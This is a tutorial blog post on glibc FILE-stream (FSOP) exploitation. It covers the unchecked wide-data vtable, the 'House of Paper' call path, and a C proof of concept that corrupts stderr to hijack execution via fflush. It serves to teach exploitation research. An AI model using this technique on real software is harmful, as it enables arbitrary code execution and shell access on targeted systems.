ZEROCLICK

Intro to FSOP exploitation and House of Paper

April 15, 2024
12 min read
Table of Contents

Intro

This post will walk through the libc’s IO structures and their exploitation paths. It will also cover the House of Paper FSOP technique.

To begin with, it is necessary to get familiar with the FILE (_IO_FILE) structure:

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
 
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */
 
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
 
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
 
  _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };
 
    struct _IO_FILE_complete {
        struct _IO_FILE _file;
    #endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

The _IO_read_*, _IO_write_* and _IO_buf_* members of the structure are used for buffering purposes. Angel Boy has a great presentation explaining that attack surface.

The default FILE variables (stderr, stdin, stdout) and also other variables initialized using fopen() are in reality _IO_FILE_plus structures (or _IO_FILE_complete_plus in newer versions), which simply concatenate a virtual table pointer at the end of the _IO_FILE structure:

struct _IO_FILE_complete_plus
{
  struct _IO_FILE_complete file;
  const struct _IO_jump_t *vtable;
};

The member vtable is a pointer to a virtual table ( a _IO_jump_t structure-like struct called _IO_file_jumps), which is a struct that contains multiple pointers to functions used during the IO operations. Here is what _IO_jump_t looks like:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

The member _wide_data is a pointer to a structure similar to _IO_FILE used for wider character streams, and looks like this:

/* Extra data for wide character streams.  */
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
 
  wchar_t _shortbuf[1];
 
  const struct _IO_jump_t *_wide_vtable;
};

As you can observe, it has the member _wide_vtable at the end of the structure, which is also a pointer to another virtual table. The difference between this virtual table pointer and the one on _IO_FILE_plus is that the macros used to execute the functions of this virtual table do not check whether it is a valid virtual table pointer or not (they don’t execute _IO_validate_vtable()). Here is a side by side comparison of the macros used:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
 
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
 
#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

The function _IO_validate_vtable() was added on glibc-2.24 and does a couple of checks on the virtual table pointer. First it checks whether it lands inside the offset where the default vtables exist on the libc:

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable) {
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

If not fulfilled, it will run _IO_vtable_check() where it will compare the value of &IO_accept_foreign_vtables to that of &_IO_vtable_check, proceed if equals, else abort.

The following is a diagram representing these structures and the relationship between them:

                                                                             Virtual tables
                                                                           +---------------------+<--+
                                                           +-------------->| _IO_file_jumps      |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               |                     |   |
                                                           |               +---------------------+   |
      +-----------...........---------------------+        |               |                     |   |
   0x0|    _flags .         .  _IO_read_ptr       |        |               |                     |   |
      +-----------...........---------------------+        |               |                     |   |
  0x10|   _IO_read_end      |  _IO_read_base      |        |               |                     |   |
      +---------------------+---------------------+        |               |                     |   |
  0x18|   _IO_write_base    |  _IO_write_ptr      |        |               |                     |   |
      +---------------------.....                 |        |               |                     |   |
      |                     .                     |        |               |                     |   |
      |                     .                     |        |               |                     |   |
      |                     .                     |        |               |                     |   |
      |                                           |        |               |                     |   |
      |                                           |        |               |                     |   | valid
      .                                           .        |               |                     |   |
      .                                           .        |               +---------------------+   | virtual table
      .                                           .        |               |                     |   |
      .                                           .        |               |                     |   | offset inside
      .                                           .        |               |                     |   |
      |                                           |        |               |                     |   | libc
      |                                           |        |               |                     |   |
      |                                           |        |               |                     |   |
      |                                           |        |               |                     |   |
      |                                           |        |               |                     |   |
      |                                           |        |               |                     |   |
      |                                           |        |               |                     |   |
  0xa0+---------------------+                     |        |               |                     |   |
+-----+      _wide_data     |                     |        |               |                     |   |
|     +---------------------+                     |        |               |                     |   |
|     |                                           |        |               +---------------------+   |
|     |                                           |        |               |                     |   |
|     |                                           |        |               |                     |   |
|     |                     +---------------------+        |               |                     |   |
|     |                 0xd8|        vtable       +--------+               |                     |   |
|     +---------------------+---------------------+                        |                     |   |
|                                                                          |                     |   |
|                                                                          |                     |   |
|                                                                          |                     |   |
|                                                                          |                     |   |
|                                                                          |                     |   |
|                                                                          |                     |   |
|                                                                          |                     |   |
|                                                                          |                     |   |
+---->+---------------------+---------------------+                        +---------------------+<--+
      |   _IO_read_ptr      |  _IO_read_end       |
      +---------------------+---------------------+
      |   _IO_read_base     |  _IO_write_base     |
      +---------------------+---------------------+
      |   _IO_write_ptr     |                     |
      +---------------------.....                 |
      |                     .                     |
      |                     .                     |
      |                                           |
      |                                           |
      |                                           |
      |                                           |
      |                                           |
      .                                           .
      .                                           .
      .                                           .
      .                                           .
      .                                           .
      .                                           .
      |                                           |
      |                                           |
      |                                           |
      |                                           |
      |                                           |
      +---------------------+---------------------+
  0xe0|    _wide_vtable     |
      +----------------+----+
                       |
                       |          This can point anywhere
                       +------------------------------------------>

The exploitation aproach is to leverage the fact that the macros that execute the functions of the _wide_data virtual table are not checked through _IO_validate_vtable(). The idea is to first make fp->vtable point to a different valid virtual table (one that lies inside the valid offset), we need that during the execution of a function of the new virtual table tries to execute any function inside fp->_wide_data->_wide_vtable (macros with a W in their name i.e. _IO_WOVERFLOW(FP, CH)). Leveraging the fact that the validity of _wide_vtable is not checked, we can make it point to a controlled area, where we will finally make it execute system or any arbitrary function instead of the intended one.

This is the same aproach followed in all three house’s of apple discovered by Roderick and multiple other houses.

House of paper

The different houses are just different paths that follow the idea explained above. In this case, I will be leveraging _IO_wfile_seekoff to execute _IO_switch_to_wget_mode which ultimately executes the macro _IO_WOVERFLOW.

As I said before, some functions such as exit or fflush execute the functions from the virtual table _IO_FILE_plus->vtable points to. These are called via macros, but they are ultimately just offsets. For instance when fflush tries to call the __sync function the code will run _IO_SYNC(fp) (fp is the FILE pointer) which ultimately will do: *(fp->vtable->__sync)(fp). So it will execute the function at offset fp->vtable + 0x58:

int
_IO_fflush (FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}

In order to call _IO_wfile_seekoff we need to take into account that it is at offset 0x40 in its virtual table (_IO_wfile_jumps code):

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff), // offset 0x40
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), // offset 0x58
  // [...]
};

Therefore we need to make vtable point to _IO_wfile_jumps - 0x18 so that when it adds 0x58 (offset to _IO_wfile_sync) and executes the function it lands on our desired _IO_wfile_seekoff instead:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;
 
  if (mode == 0) //# [1]
    return do_ftell_wide (fp);
 
  /*
  Unimportant code
  [...]
  */
 
  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base) //# [2]
		      || _IO_in_put_mode (fp));
 
  if (was_writing && _IO_switch_to_wget_mode (fp)) //# this is the important function
    return WEOF;
 
  /*
  [...]
  */
 
  return offset;
}

Here we have two conditions to meet in order to continue to our desired function (_IO_switch_to_wget_mode):

  • rcx != 0
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

When the conditions are met we will enter _IO_switch_to_wget_mode. Here we will need to fulfill some other conditions in oder to reach the _IO_WOVERFLOW macro, which executes from the wide virtual table (fp->_wide_data->_wide_vtable) and results in the following being executed: *(fp->_wide_data->_wide_vtable->_IO_wfile_overflow) (fp). As you can see, the address of the FILE pointer is passed as first argument, which means we will need to write /bin/sh\0 in the fp->_flags position (at offset 0x0).

Also, bear in mind that _IO_wfile_overflow is at offset 0x18 from the base of the virtual table.

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) //# same condition as before
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  /*
  [...]
  */
  return 0;
}

Look how lucky we are, that the conditions of this if are the same as before!

Conditions:

  • Previous conditions needed to call a function of fp->vtable
  • Call: _IO_wfile_seekoff (&_IO_wfile_jumps + 8*8)
  • rcx != 0
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

Finally *(fp->_wide_data->vtable + 0x18)(fp) gets executed.

The following is a diagram of how the different structures will result:

                                                                           .                     .
                                                                           .                     .
                                                                           .                     .
                                                                           .                     .
                                                                           |                     |
                                                                           |                     |
                                                                           +---------------------+<--+
                                                                           | _IO_file_jumps      |   |
                                                                           |                     |   |
                                                                           |                     |   |
                                                                           |                     |   |
                                                                           |                     |   |
                                                                           |                     |   | 0x540
                                                                           |                     |   |
                                                                           |                     |   |
                                                                           .                     .   |
       _IO_FILE_plus                                                       .                     .   |
      +--------------------+----------------------+            +-------+-->.                     .   |
      |   b"/bin/sh\0"     |                      |            |       |   .                     .   |
      +--------------------+                      |            |   0x18|   |                     |   |
      |                                           |            |       +-->+---------------------+<--+
      |                                           |            |           | _IO_wfile_jumps     |
      |                                           |            |           |                     |
      |                                           |            |           |                     |
      |                                           |            |           |                     |
      .                                           .            |           |                     |
      .                                           .            |           |                     |
      .                                           .            |           |.....................|
      .                                           .            |           |    __seekoff        |
      .                                           .            |           |.....................|
      |                                           |            |           |                     |
      |                                           |            |           |                     |
      |                                           |            |           |                     |
  0xa0+---------------------+                     |            |           |                     |
+-----+      _wide_data     |                     |            |           +---------------------+
|     +---------------------+                     |            |           |                     |
|     |                                           |            |           |                     |
|     |                                           |            |           |                     |
|     |                                           |            |           |                     |
|     |                     +---------------------+            |           |                     |
|     |                 0xd8|        vtable       +------------+           |                     |
|     +---------------------+---------------------+                        .                     .
|                                                                          .                     .
|                                                                          .                     .
|
|
|
|
|
|
+---->+-------------------------------------------+      +--------------+->.......................
      |                                           |      |              |  .                     .
      |                                           |      |          0x18|  .                     .
      |                                           |      |              +->+---------------------+
      |                                           |      |                 |       &system       |
      |                                           |      |                 +---------------------+
      |                                           |      |
      |                                           |      |
      .                                           .      |
      .                                           .      |
      .                                           .      |
      .                                           .      |
      .                                           .      |
      .                                           .      |
      |                                           |      |
      |                                           |      |
      |                                           |      |
      |                                           |      |
      |                                           |      |
      +---------------------+---------------------+      |
  0xe0|    _wide_vtable     |                            |
      +----------------+----+                            |
                       |                                 |
                       |                                 |
                       +---------------------------------+

Here is an example program to further show the exploitation path:

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
 
char* stderr2;
 
int
main () {
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
 
  size_t puts_addr = (size_t)&puts;
  printf("[*] puts address: %p\n", (void *)puts_addr);
 
  size_t libc_base_addr = puts_addr - 0x80e50;
  printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
  size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
  printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
  size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2170c0;
  printf("[*] _IO_wfile_jumps addr: %p\n", (void*) _IO_wfile_jumps_addr);
 
  stderr2 = (char*) _IO_2_1_stderr_addr;
  char *wide_data = calloc(0x200, 1);
  char *wide_vtable = calloc(0x200, 1);
  puts("[*] allocate two 0x200 chunks");
 
  puts("[+] set stderr->_flags to hack!");
  *(size_t *)(stderr2) = (size_t) 0x000000216b636168;
 
  puts("[+] set stderr->vtable to _IO_wfile_jumps_addr - 0x18");
  *(size_t *)(stderr2 + 0xd8) = (size_t) _IO_wfile_jumps_addr - 0x18;
 
  puts("[+] Set fp->_wide_data and _wide_data->_wide_vtable to custom chunks");
  *(size_t *)(stderr2 + 0xa0) = (size_t) wide_data;
  *(size_t *)(wide_data + 0xe0) = (size_t) wide_vtable;
 
  puts("[+] set _wide_data->_IO_write_ptr to 1");
  *(size_t *)(wide_data + 0x20) = (size_t) 0x1;
 
  puts("[+] _wide_vtable->overflow = puts");
  *(size_t *)(wide_vtable + 0x18) = (size_t) &puts;
 
  fflush(stderr);
}

Thanks

Huge thanks specially to niftic’s blog, as the exploitation path was previously discovered and documented by him. I just tried to make a blog explaining the FSOP technique as I would have liked to find it when learning about the technique.

I also called it House of Paper for fun, as I do not try by any means to get credit of the discovery of this path, all credits go to Niftic.

Resources